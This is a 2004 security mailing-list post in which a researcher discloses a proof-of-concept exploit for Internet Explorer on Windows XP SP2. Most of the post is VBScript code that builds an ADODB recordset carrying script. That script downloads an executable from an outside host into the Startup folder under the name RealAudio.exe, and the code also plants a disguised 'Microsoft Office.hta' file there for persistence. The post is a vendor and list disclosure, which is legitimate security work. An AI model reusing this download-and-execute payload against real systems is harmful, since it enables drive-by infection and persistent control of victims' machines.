Vulnwatch mailing list archives
Re: YET AGAIN Automatic remote compromise of Internet Explorer Service Pack 2 XP SP2
From: "Michael Evanchik" <Mike () MichaelEvanchik com>
Date: Mon, 27 Dec 2004 17:52:02 -0500
sorry there was a bug in the code. I just fixed it now should work on everyone ----- Original Message ----- From: Michael Evanchik To: NTBUGTRAQ () LISTSERV NTBUGTRAQ COM ; vulnwatch () vulnwatch org ; Exploits () k-otik com ; Vuln () k-otik com ; send-us-news-tips () cnet com Cc: tk () secunia com ; support () secunia com ; secure () microsoft com Sent: Monday, December 27, 2004 1:53 AM Subject: Re: YET AGAIN Automatic remote compromise of Internet Explorer Service Pack 2 XP SP2 PoC: http://www.michaelevanchik.com/security/microsoft/ie/xss/index.html Here is some new adodb code AVP's should add. No longer needed to connect to external source. Malicious recordset can be built locally. on error resume next set evanchik = CreateObject("ADODB.Recordset") With objRS .Fields.Append "evanchik", 200, "3000" Call .Open Call .AddNew .Fields("evanchik").Value = "meaning less shit i had to put here" Call .AddNew .Fields("evanchik").Value = "<script language=vbscript>: on error resume next : set o = CreateObject(""msxml2.XMLHTTP"") : o.open ""GET"",""http://hometown.aol.com/mcbain/calc.exe"",False : o.send : set s = createobject(""adodb.stream"") : s.type=1 : s.open : s.write o.responseBody : s.savetofile ""C:\Documents and Settings\All Users\Start Menu\Programs\Startup\RealAudio.exe"",2 : </script>" Call .Update End With evanchik.Save "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\Microsoft Office.hta", adPersistXML evanchik.Close
Current thread:
- Re: YET AGAIN Automatic remote compromise of Internet Explorer Service Pack 2 XP SP2 Michael Evanchik (Dec 27)
- <Possible follow-ups>
- Re: YET AGAIN Automatic remote compromise of Internet Explorer Service Pack 2 XP SP2 Michael Evanchik (Dec 27)